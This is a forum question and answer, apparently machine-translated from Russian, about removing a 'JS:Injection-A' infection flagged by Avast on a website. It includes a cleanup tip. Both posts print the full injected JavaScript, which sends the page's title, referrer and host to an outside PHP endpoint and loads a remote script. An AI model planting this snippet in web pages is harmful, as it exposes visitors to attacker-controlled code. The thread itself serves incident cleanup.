Avast дает ошибку JS: Injection-A [Trj] на моем сайте

Question

Сегодня у меня появилось предупреждение от Avast, когда я хотел войти на мой сайт: forumhan.com.

Для этого у вас должен быть Avast на вашем компьютере.

Мой сайт был заражен JS: Injection-A [Trj] - вот почему он не показывал.

И когда я смотрю, я нашел это на моем заголовке:

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://vkza.tora.ru/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script> 

Как я не профессионал, я не могу понять, если есть какие-либо отношения с другими файлами.

Есть ли какие-либо звонки в другие файлы этого кода?

Удаляет ли это решение проблемы или нет?

Я удалил его, но я не вижу свою веб-страницу.

Answer 1

Я нашел решение.

Проблема в том, что вы говорите. Кто-то ввел этот код на ваш сайт (и мой тоже). Так что я сделал, это выбрать этот фрагмент:

encodeURIComponent(document.title) 

и поиск в HTDOCS папки всех файлов с Блокнотом ++ на сервере.

Тогда я нашел что-то вроде этого:

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://delicefilm.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script> 

здесь:

И я стер из всех файлов. И это все!

Надеюсь, это сработает и для вас! :)